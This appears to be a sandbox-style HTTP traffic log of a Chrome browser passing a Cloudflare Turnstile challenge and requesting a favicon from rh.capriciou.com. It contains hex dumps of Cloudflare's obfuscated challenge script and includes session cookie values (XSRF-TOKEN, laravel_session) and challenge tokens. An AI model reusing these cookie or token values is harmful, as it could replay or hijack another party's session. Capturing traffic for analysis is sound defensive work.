2024-11-07 18:32:01 UTC	1369	IN	Data Raw: 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 33 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 Data Ascii: ext-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:3px;stroke-li

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:02 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8def6751cf07e7a6&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:32:02 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:02 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 114895 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8def67571b316c6b-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 18:32:02 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 74 57 6e 78 67 36 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.tWnxg6={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"http
2024-11-07 18:32:02 UTC	1369	IN	Data Raw: 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 63 Data Ascii: s%20problem%20persists.","turnstile_feedback_report":"Having%20trouble%3F","turnstile_footer_terms":"Terms","testing_only":"Testing%20only.","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","c
2024-11-07 18:32:02 UTC	1369	IN	Data Raw: 34 31 33 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 38 37 29 29 2f 37 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 32 36 29 29 2f 38 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 37 36 29 29 2f 39 29 2c 66 3d 3d 3d 64 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 32 37 35 38 37 37 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4a 28 39 33 31 29 5d 2c 65 4f 3d 66 75 6e 63 74 69 6f 6e 28 67 4b 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 4b 3d 67 4a 2c 64 3d 7b 27 58 56 70 78 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 Data Ascii: 413))/6)+-parseInt(gI(787))/7+-parseInt(gI(1126))/8*(-parseInt(gI(1376))/9),f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,275877),eM=this\|\|self,eN=eM[gJ(931)],eO=function(gK,d,e,f,g){return gK=gJ,d={'XVpxm':function(h,i){return h==i},'
2024-11-07 18:32:02 UTC	1369	IN	Data Raw: 3d 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 67 4b 28 31 31 32 31 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 67 4c 29 7b 72 65 74 75 72 6e 20 67 4c 3d 67 4b 2c 64 5b 67 4c 28 39 35 37 29 5d 28 6e 75 6c 6c 2c 68 29 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 67 4d 29 7b 72 65 74 75 72 6e 20 67 4d 3d 67 4c 2c 67 4d 28 36 31 39 29 5b 67 4d 28 31 38 34 29 5d 28 69 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6f 2c 73 2c 67 4e 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 52 2c 53 2c 50 29 7b 69 66 28 67 4e 3d 67 4b 2c 78 3d 7b 7d 2c 78 5b 67 4e 28 35 33 32 29 5d 3d 67 4e 28 35 34 35 29 2c 42 3d 78 2c 6a 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 27 27 3b 66 6f Data Ascii: =i}},e=String[gK(1121)],f={'h':function(h,gL){return gL=gK,d[gL(957)](null,h)?'':f.g(h,6,function(i,gM){return gM=gL,gM(619)[gM(184)](i)})},'g':function(j,o,s,gN,x,B,C,D,E,F,G,H,I,J,K,L,M,N,O,R,S,P){if(gN=gK,x={},x[gN(532)]=gN(545),B=x,j==null)return'';fo
2024-11-07 18:32:02 UTC	1369	IN	Data Raw: 36 2c 43 29 3b 4b 3d 50 26 31 2e 33 32 7c 4b 3c 3c 31 2e 36 2c 4c 3d 3d 6f 2d 31 3f 28 4c 3d 30 2c 4a 5b 67 4e 28 38 34 33 29 5d 28 64 5b 67 4e 28 34 34 37 29 5d 28 73 2c 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 47 2d 2d 2c 47 3d 3d 30 26 26 28 47 3d 4d 61 74 68 5b 67 4e 28 32 34 30 29 5d 28 32 2c 49 29 2c 49 2b 2b 29 2c 64 65 6c 65 74 65 20 45 5b 46 5d 7d 65 6c 73 65 20 66 6f 72 28 50 3d 44 5b 46 5d 2c 43 3d 30 3b 43 3c 49 3b 4b 3d 64 5b 67 4e 28 31 30 35 35 29 5d 28 4b 2c 31 29 7c 64 5b 67 4e 28 36 33 34 29 5d 28 50 2c 31 29 2c 6f 2d 31 3d 3d 4c 3f 28 4c 3d 30 2c 4a 5b 67 4e 28 38 34 33 29 5d 28 64 5b 67 4e 28 31 32 36 34 29 5d 28 73 2c 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 46 3d 28 47 Data Ascii: 6,C);K=P&1.32\|K<<1.6,L==o-1?(L=0,J[gN(843)](d[gN(447)](s,K)),K=0):L++,P>>=1,C++);}G--,G==0&&(G=Math[gN(240)](2,I),I++),delete E[F]}else for(P=D[F],C=0;C<I;K=d[gN(1055)](K,1)\|d[gN(634)](P,1),o-1==L?(L=0,J[gN(843)](d[gN(1264)](s,K)),K=0):L++,P>>=1,C++);F=(G
2024-11-07 18:32:02 UTC	1369	IN	Data Raw: 31 34 37 36 29 5d 28 69 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6f 2c 73 2c 67 53 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 50 2c 4f 2c 52 2c 53 2c 54 29 7b 66 6f 72 28 67 53 3d 67 4b 2c 78 3d 7b 7d 2c 78 5b 67 53 28 31 33 31 30 29 5d 3d 67 53 28 31 31 32 30 29 2c 42 3d 78 2c 43 3d 5b 5d 2c 44 3d 34 2c 45 3d 34 2c 46 3d 33 2c 47 3d 5b 5d 2c 4a 3d 64 5b 67 53 28 39 38 32 29 5d 28 73 2c 30 29 2c 4b 3d 6f 2c 4c 3d 31 2c 48 3d 30 3b 64 5b 67 53 28 35 37 38 29 5d 28 33 2c 48 29 3b 43 5b 48 5d 3d 48 2c 48 2b 3d 31 29 3b 66 6f 72 28 4d 3d 30 2c 4e 3d 4d 61 74 68 5b 67 53 28 32 34 30 29 5d 28 32 2c 32 29 2c 49 3d 31 3b 49 21 3d 4e 3b 64 5b 67 53 28 32 37 32 29 5d 28 64 5b 67 53 28 31 33 35 35 29 5d Data Ascii: 1476)](i)})},'i':function(j,o,s,gS,x,B,C,D,E,F,G,H,I,J,K,L,M,N,P,O,R,S,T){for(gS=gK,x={},x[gS(1310)]=gS(1120),B=x,C=[],D=4,E=4,F=3,G=[],J=d[gS(982)](s,0),K=o,L=1,H=0;d[gS(578)](3,H);C[H]=H,H+=1);for(M=0,N=Math[gS(240)](2,2),I=1;I!=N;d[gS(272)](d[gS(1355)]
2024-11-07 18:32:02 UTC	1369	IN	Data Raw: 3d 64 5b 67 53 28 38 37 36 29 5d 28 48 2c 48 5b 67 53 28 31 38 34 29 5d 28 30 29 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 47 5b 67 53 28 38 34 33 29 5d 28 50 29 2c 43 5b 45 2b 2b 5d 3d 64 5b 67 53 28 38 37 36 29 5d 28 48 2c 50 5b 67 53 28 31 38 34 29 5d 28 30 29 29 2c 44 2d 2d 2c 48 3d 50 2c 64 5b 67 53 28 36 39 38 29 5d 28 30 2c 44 29 26 26 28 44 3d 4d 61 74 68 5b 67 53 28 32 34 30 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 7d 7d 7d 2c 67 3d 7b 7d 2c 67 5b 67 4b 28 31 30 36 37 29 5d 3d 66 2e 68 2c 67 7d 28 29 2c 65 4d 5b 67 4a 28 34 37 37 29 5d 3d 21 5b 5d 2c 65 4d 5b 67 4a 28 31 35 33 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 65 29 7b 69 66 28 68 65 3d 67 4a 2c 65 4d 5b 68 65 28 34 37 37 29 5d 29 72 65 74 75 72 6e 3b 65 4d 5b 68 65 28 34 37 37 Data Ascii: =d[gS(876)](H,H[gS(184)](0));else return null;G[gS(843)](P),C[E++]=d[gS(876)](H,P[gS(184)](0)),D--,H=P,d[gS(698)](0,D)&&(D=Math[gS(240)](2,F),F++)}}},g={},g[gK(1067)]=f.h,g}(),eM[gJ(477)]=![],eM[gJ(1530)]=function(he){if(he=gJ,eM[he(477)])return;eM[he(477
2024-11-07 18:32:02 UTC	1369	IN	Data Raw: 5b 68 78 28 31 38 39 29 5d 5b 68 78 28 39 32 35 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 68 78 28 38 34 33 29 5d 28 47 29 7d 7d 2c 66 34 3d 67 4a 28 31 36 34 29 5b 67 4a 28 37 38 39 29 5d 28 27 3b 27 29 2c 66 35 3d 66 34 5b 67 4a 28 34 35 37 29 5d 5b 67 4a 28 31 39 37 29 5d 28 66 34 29 2c 65 4d 5b 67 4a 28 37 32 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 68 41 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 29 7b 66 6f 72 28 68 41 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 41 28 33 31 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 2b 76 7d 2c 6b 3d 6a 2c 6c 3d 4f 62 6a 65 63 74 5b 68 41 28 31 31 31 39 29 5d 28 69 29 2c 6d 3d 30 3b 6d 3c 6c 5b 68 41 28 32 33 31 29 5d 3b 6d 2b 2b 29 69 66 28 6e 3d 6c 5b 6d Data Ascii: [hx(189)][hx(925)](j,H)\|\|(j[H]=[]),j[H][hx(843)](G)}},f4=gJ(164)[gJ(789)](';'),f5=f4[gJ(457)][gJ(197)](f4),eM[gJ(724)]=function(h,i,hA,j,k,l,m,n,o){for(hA=gJ,j={},j[hA(318)]=function(s,v){return s+v},k=j,l=Object[hA(1119)](i),m=0;m<l[hA(231)];m++)if(n=l[m
2024-11-07 18:32:02 UTC	1369	IN	Data Raw: 28 31 34 38 32 29 5d 5b 69 6c 28 34 35 35 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 69 6c 28 38 39 36 29 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 69 6c 28 31 31 39 32 29 5d 5b 69 6c 28 35 30 37 29 5d 2c 27 65 76 65 6e 74 27 3a 69 6c 28 37 35 37 29 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 69 6c 28 31 31 39 32 29 5d 5b 69 6c 28 32 39 36 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 69 6c 28 31 31 39 32 29 5d 5b 69 6c 28 38 33 36 29 5d 2c 27 63 6f 64 65 27 3a 65 5b 69 6c 28 36 34 34 29 5d 2c 27 72 63 56 27 3a 65 4d 5b 69 6c 28 31 31 39 32 29 5d 5b 69 6c 28 35 35 32 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 33 31 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 69 6d 2c 69 2c 6a 2c 47 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c Data Ascii: (1482)][il(455)]({'source':il(896),'widgetId':eM[il(1192)][il(507)],'event':il(757),'cfChlOut':eM[il(1192)][il(296)],'cfChlOutS':eM[il(1192)][il(836)],'code':e[il(644)],'rcV':eM[il(1192)][il(552)]},'*'))},g)},eM[gJ(312)]=function(f,g,h,im,i,j,G,k,l,m,n,o,
2024-11-07 18:32:02 UTC	1369	IN	Data Raw: 2e 68 5b 69 5b 69 6d 28 32 32 37 29 5d 28 38 33 2c 74 68 69 73 2e 67 29 5d 3d 61 32 2c 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 32 30 37 2e 30 37 5d 3d 61 33 2c 74 68 69 73 2e 68 5b 31 31 39 2e 31 33 5e 74 68 69 73 2e 67 5d 3d 61 34 2c 74 68 69 73 2e 68 5b 31 36 5e 74 68 69 73 2e 67 5d 3d 61 35 2c 74 68 69 73 2e 68 5b 69 5b 69 6d 28 38 34 31 29 5d 28 32 34 36 2c 74 68 69 73 2e 67 29 5d 3d 61 36 2c 74 68 69 73 2e 68 5b 69 5b 69 6d 28 36 39 30 29 5d 28 32 33 37 2c 74 68 69 73 2e 67 29 5d 3d 61 37 2c 74 68 69 73 2e 68 5b 69 5b 69 6d 28 31 32 35 39 29 5d 28 37 39 2c 74 68 69 73 2e 67 29 5d 3d 61 38 2c 74 68 69 73 2e 68 5b 36 35 5e 74 68 69 73 2e 67 5d 3d 61 39 2c 74 68 69 73 2e 68 5b 34 30 5e 74 68 69 73 2e 67 5d 3d 61 61 2c 74 68 69 73 2e 68 5b 74 68 69 73 Data Ascii: .h[i[im(227)](83,this.g)]=a2,this.h[this.g^207.07]=a3,this.h[119.13^this.g]=a4,this.h[16^this.g]=a5,this.h[i[im(841)](246,this.g)]=a6,this.h[i[im(690)](237,this.g)]=a7,this.h[i[im(1259)](79,this.g)]=a8,this.h[65^this.g]=a9,this.h[40^this.g]=aa,this.h[this

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:02 UTC	742	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:32:02 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:02 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8def67584e3c477b-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 18:32:02 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:02 UTC	1316	OUT	GET /favicon.ico HTTP/1.1 Host: rh.capriciou.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rh.capriciou.com/ZhZW/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InZDZjZkazVpMHpEWUNBRXV3bHJoUEE9PSIsInZhbHVlIjoia04yY01VNDQxYWcyOGJIZFhJOEVYUExwVGRVMFpWS1hLbHBuTEtaSUlmUUtRQVJLVDdpMkFISDA0TkhyeTd1aHpmTXB6T3hXSWFCZGNSd2I0Tmdaa0gxM0tFSVp5Q3JBc1dQaUxURFFvNm5LYS9VcXRlOHV6QkZ4VFFkSS9XbzYiLCJtYWMiOiJiZTM5Yjk1ZjZlYjQxZTliYzA1OTcyODcxMDc4YmE1MWVkMmVkZWFiMTJiMWZjYThkMDkyM2M4MGMxOGQxZTQ3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjkyeDhENllUdGJVMStYa1lDWldUTEE9PSIsInZhbHVlIjoiOXg3YWhEa3RGQ084OHJMellUVHhsazN1OGxEeVo3Rnp2K25VNTJ1MHJhK3VMOHNSZ2dyOUhvbStXcHY1UEN1WEhNQ3dyZWtnTWppSk10bFN2QzAzcWV2TUN2c0xhQzJGcVJrZ1JMcHNFTWVYNXN6bnl4cEp4Ulo1YXN0N25lRGUiLCJtYWMiOiIwZjA2MmYwOGFkMDkzMjdiYTNiODlmNzAwMTViYjQ5ZDgwZWM0Y2M4ZDY2ZjM0YTRkYzUzNjVmNzJhNDcyMDQwIiwidGFnIjoiIn0%3D
2024-11-07 18:32:03 UTC	1010	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 18:32:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BJiRqdLrn7qK93fyJmIhl0z8Jb%2FZLQ6hHoMwbl7YStgxBkXDV678GIJ3QRnxQtm%2FAhg7JsIVv8Sn4VoRipC3AV0Ad3Wr1i1GJkLSf7Ucwlo%2FdDjKtFNTSCxkQUlHTA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1139&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=2236&delivery_rate=2496551&cwnd=251&unsent_bytes=0&cid=b81d8beec27e5612&ts=18&x=0" CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 8def675a49f5e997-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1408&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1894&delivery_rate=2065620&cwnd=250&unsent_bytes=0&cid=4ded759429830933&ts=7376&x=0"
2024-11-07 18:32:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:03 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:32:04 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:03 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8def6760bc5b6bde-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 18:32:04 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:03 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1888641786:1730999922:sZMMjrljib3Ah-ZPRoL_Nqj62RI1QKUnYVwOIOxtiuY/8def6751cf07e7a6/jCrTDp5mH7IPQ.XokFVcaJ.lGZZNyttWPsGCaoPzCbc-1731004321-1.1.1.1-eC1A3ZZHnP397vfP33FmcEcmnsz8wNnC8jnQC8T8ln6lDiN3l1rddG_FCxdeVbFm HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3010 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: jCrTDp5mH7IPQ.XokFVcaJ.lGZZNyttWPsGCaoPzCbc-1731004321-1.1.1.1-eC1A3ZZHnP397vfP33FmcEcmnsz8wNnC8jnQC8T8ln6lDiN3l1rddG_FCxdeVbFm sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:32:03 UTC	3010	OUT	Data Raw: 76 5f 38 64 65 66 36 37 35 31 63 66 30 37 65 37 61 36 3d 6c 37 54 72 4e 72 49 72 64 4e 79 49 79 42 54 34 56 54 79 67 58 70 58 6c 72 73 74 54 6b 58 56 2d 62 34 38 6d 58 67 57 58 6d 66 34 24 58 43 30 6d 39 58 4a 58 77 6e 52 6d 74 68 4f 75 58 76 58 54 74 4f 66 58 55 72 58 47 66 58 34 72 68 58 2d 32 68 39 6b 58 31 58 4d 6f 71 36 58 79 30 34 65 58 6b 50 68 58 53 43 58 6d 6b 46 58 65 6e 6b 34 65 42 5a 73 4b 79 57 61 58 36 6f 4d 36 58 32 30 79 78 58 52 2d 75 58 24 4b 56 57 45 59 57 6b 33 30 6d 34 41 62 30 36 53 72 34 42 4f 67 58 58 61 72 58 6e 35 6a 36 62 49 59 68 75 58 4d 68 58 71 6e 58 58 47 57 34 41 36 42 59 30 41 4c 37 36 61 67 4f 41 4f 58 58 71 62 58 58 36 46 54 72 68 6a 71 4e 25 32 62 56 51 58 58 51 72 4a 75 78 34 68 58 42 72 4d 6e 2d 58 79 53 62 6a 32 37 Data Ascii: v_8def6751cf07e7a6=l7TrNrIrdNyIyBT4VTygXpXlrstTkXV-b48mXgWXmf4$XC0m9XJXwnRmthOuXvXTtOfXUrXGfX4rhX-2h9kX1XMoq6Xy04eXkPhXSCXmkFXenk4eBZsKyWaX6oM6X20yxXR-uX$KVWEYWk30m4Ab06Sr4BOgXXarXn5j6bIYhuXMhXqnXXGW4A6BY0AL76agOAOXXqbXX6FTrhjqN%2bVQXXQrJux4hXBrMn-XySbj27
2024-11-07 18:32:04 UTC	747	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:04 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149708 Connection: close cf-chl-gen: htecCBcGOGeVKnXc1RiZmapguoKeld5mW2XCJpZPxwpvo/+ctIYNCoECC35lMDhEz7aYjR0L2QLa94jxg7uyHzd6KBvYp+XTQRZiebPsvUw4D2wwUal1L0dcqq0oEXG85B/frDMEuCGO9a+C7oivOkv5Iz0catnkJ31uYNLVm1Hjd14Gj8zip1MNSmrFqeMNkufQOBPQgyoa0LByvcRXA+VexMxcxQKUl6lb58SPrbqS3lVNa/1YD2X8sKtDDoFo0mp1o+ZCl+UnfXADPe14wiXOnuo0wFibDMY8ljleJ6eIXpmmfizxOK2jDutrI84GnxLVRKQfStXvWvfuLiNLUA0n2QeymoaDCvtoPWSz1qNkNadivJ0Qr+pT0VOjV1i/yu29d6SvDvhGAmI0xydH8GAehTUJ/OVk9/LLSam7sghKwHPzA0MhATb6isspFYabMJKUFqmVGdbNIShAYZyQj0nhfzOMoIx+j1FSNFcPRJWfeNE=$mS4R/LyQa4DAwSgO Server: cloudflare CF-RAY: 